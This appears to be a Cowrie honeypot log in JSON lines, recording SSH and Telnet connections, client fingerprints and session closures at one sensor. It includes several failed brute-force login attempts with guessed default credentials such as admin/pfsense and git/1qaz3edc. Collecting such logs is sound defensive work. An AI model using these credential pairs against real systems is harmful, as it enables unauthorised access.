{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:30.173614Z","src_ip":"202.125.94.71","session":"ee1e6af000ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:30.439075Z","src_ip":"202.125.94.71","session":"ee1e6af000ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1qaz3edc","message":"login attempt [git/1qaz3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:31.519236Z","src_ip":"202.125.94.71","session":"ee1e6af000ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47580,"dst_ip":"159.203.135.109","dst_port":23,"session":"c24de9aeaa00","protocol":"telnet","message":"New connection: 161.97.105.174:47580 (159.203.135.109:23) [session: c24de9aeaa00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:31.950270Z"}
{"eventid":"cowrie.session.closed","duration":34.866612911224365,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:32.222353Z","src_ip":"161.97.105.174","session":"2ed9a420c205","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47594,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbdb75f246b4","protocol":"telnet","message":"New connection: 161.97.105.174:47594 (159.203.135.109:23) [session: bbdb75f246b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:32.766713Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:32.782893Z","src_ip":"202.125.94.71","session":"ee1e6af000ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47602,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cc18c614a7d","protocol":"telnet","message":"New connection: 161.97.105.174:47602 (159.203.135.109:23) [session: 5cc18c614a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:33.122470Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47614,"dst_ip":"159.203.135.109","dst_port":23,"session":"df3080800e0e","protocol":"telnet","message":"New connection: 161.97.105.174:47614 (159.203.135.109:23) [session: df3080800e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:33.334439Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47628,"dst_ip":"159.203.135.109","dst_port":23,"session":"9200dd65c1ad","protocol":"telnet","message":"New connection: 161.97.105.174:47628 (159.203.135.109:23) [session: 9200dd65c1ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:34.112179Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47642,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7f2d7d08cd8","protocol":"telnet","message":"New connection: 161.97.105.174:47642 (159.203.135.109:23) [session: f7f2d7d08cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:35.618916Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47652,"dst_ip":"159.203.135.109","dst_port":23,"session":"00e1da137a84","protocol":"telnet","message":"New connection: 161.97.105.174:47652 (159.203.135.109:23) [session: 00e1da137a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:36.382757Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":49732,"dst_ip":"159.203.135.109","dst_port":22,"session":"94e759998370","protocol":"ssh","message":"New connection: 200.118.150.20:49732 (159.203.135.109:22) [session: 94e759998370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:36.801947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:36.844000Z","src_ip":"200.118.150.20","session":"94e759998370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:36.926672Z","src_ip":"200.118.150.20","session":"94e759998370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"spider","message":"login attempt [admin/spider] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:37.258212Z","src_ip":"200.118.150.20","session":"94e759998370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.544145345687866,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:38.200942Z","src_ip":"161.97.105.174","session":"bf5bbccd00c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47666,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8bc927a6880","protocol":"telnet","message":"New connection: 161.97.105.174:47666 (159.203.135.109:23) [session: b8bc927a6880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:38.264492Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:38.351772Z","src_ip":"200.118.150.20","session":"94e759998370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.16257977485657,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:38.697196Z","src_ip":"161.97.105.174","session":"de7d5a0580e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43868,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a19000110de","protocol":"telnet","message":"New connection: 161.97.105.174:43868 (159.203.135.109:23) [session: 0a19000110de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:39.055783Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43884,"dst_ip":"159.203.135.109","dst_port":23,"session":"27ac1faf37c7","protocol":"telnet","message":"New connection: 161.97.105.174:43884 (159.203.135.109:23) [session: 27ac1faf37c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:39.395426Z"}
{"eventid":"cowrie.session.closed","duration":34.7077431678772,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:39.618974Z","src_ip":"161.97.105.174","session":"b86e487e2b42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43898,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bb7238f291f","protocol":"telnet","message":"New connection: 161.97.105.174:43898 (159.203.135.109:23) [session: 9bb7238f291f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:41.861677Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43906,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b2b08798255","protocol":"telnet","message":"New connection: 161.97.105.174:43906 (159.203.135.109:23) [session: 7b2b08798255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:42.874789Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43908,"dst_ip":"159.203.135.109","dst_port":23,"session":"891b6091a2f5","protocol":"telnet","message":"New connection: 161.97.105.174:43908 (159.203.135.109:23) [session: 891b6091a2f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:45.350601Z"}
{"eventid":"cowrie.session.closed","duration":37.20999240875244,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:53.363128Z","src_ip":"161.97.105.174","session":"9b0261352f2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.501030683517456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:53.457111Z","src_ip":"161.97.105.174","session":"2bb3f7c2c040","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.46435356140137,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:54.736719Z","src_ip":"161.97.105.174","session":"0f92cc28e582","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":16950,"dst_ip":"159.203.135.109","dst_port":22,"session":"81055e68e1fe","protocol":"ssh","message":"New connection: 220.247.224.226:16950 (159.203.135.109:22) [session: 81055e68e1fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:55.195061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:55.199136Z","src_ip":"220.247.224.226","session":"81055e68e1fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:55.441208Z","src_ip":"220.247.224.226","session":"81055e68e1fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.105.130.149","src_port":42821,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad7ac2db5659","protocol":"telnet","message":"New connection: 182.105.130.149:42821 (159.203.135.109:23) [session: ad7ac2db5659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:56.100952Z"}
{"eventid":"cowrie.login.failed","username":"peter","password":"admin","message":"login attempt [peter/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:56.384233Z","src_ip":"220.247.224.226","session":"81055e68e1fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.74821591377258,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:56.442813Z","src_ip":"161.97.105.174","session":"2e3fd0090f6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:57.613741Z","src_ip":"220.247.224.226","session":"81055e68e1fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.917704343795776,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:59.164063Z","src_ip":"161.97.105.174","session":"fcc3a5d7710d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36694,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b2c3aac0458","protocol":"telnet","message":"New connection: 161.97.105.174:36694 (159.203.135.109:23) [session: 9b2c3aac0458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:18:59.912448Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":34276,"dst_ip":"10.17.0.5","dst_port":22,"session":"55fe4559c265","protocol":"ssh","message":"New connection: 154.219.100.220:34276 (10.17.0.5:22) [session: 55fe4559c265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:00.632191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:00.638489Z","src_ip":"154.219.100.220","session":"55fe4559c265","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:00.844115Z","src_ip":"154.219.100.220","session":"55fe4559c265","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pfsense","message":"login attempt [admin/pfsense] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:01.688255Z","src_ip":"154.219.100.220","session":"55fe4559c265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.6296808719635,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:02.344186Z","src_ip":"161.97.105.174","session":"1dfaf56cade6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:02.897925Z","src_ip":"154.219.100.220","session":"55fe4559c265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.67809295654297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:03.628279Z","src_ip":"161.97.105.174","session":"c24de9aeaa00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36698,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f61ead9d679","protocol":"telnet","message":"New connection: 161.97.105.174:36698 (159.203.135.109:23) [session: 2f61ead9d679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:04.758127Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36714,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4806b08d4e5","protocol":"telnet","message":"New connection: 161.97.105.174:36714 (159.203.135.109:23) [session: e4806b08d4e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:06.081473Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36726,"dst_ip":"159.203.135.109","dst_port":23,"session":"00cbd432fdd6","protocol":"telnet","message":"New connection: 161.97.105.174:36726 (159.203.135.109:23) [session: 00cbd432fdd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:06.711037Z"}
{"eventid":"cowrie.session.closed","duration":34.91125726699829,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:07.677855Z","src_ip":"161.97.105.174","session":"bbdb75f246b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36734,"dst_ip":"159.203.135.109","dst_port":23,"session":"93c2758a2ace","protocol":"telnet","message":"New connection: 161.97.105.174:36734 (159.203.135.109:23) [session: 93c2758a2ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:07.769954Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":40904,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6e96fa610eb","protocol":"ssh","message":"New connection: 152.32.130.174:40904 (10.17.0.5:22) [session: b6e96fa610eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:07.774830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:07.782186Z","src_ip":"152.32.130.174","session":"b6e96fa610eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:07.996725Z","src_ip":"152.32.130.174","session":"b6e96fa610eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.00409698486328,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:08.126470Z","src_ip":"161.97.105.174","session":"5cc18c614a7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.307610511779785,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:08.690272Z","src_ip":"161.97.105.174","session":"00e1da137a84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55304,"dst_ip":"159.203.135.109","dst_port":23,"session":"26dd7a13793b","protocol":"telnet","message":"New connection: 161.97.105.174:55304 (159.203.135.109:23) [session: 26dd7a13793b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:08.751804Z"}
{"eventid":"cowrie.session.closed","duration":12.778866052627563,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:19:08.879631Z","src_ip":"182.105.130.149","session":"ad7ac2db5659","protocol":"telnet"}
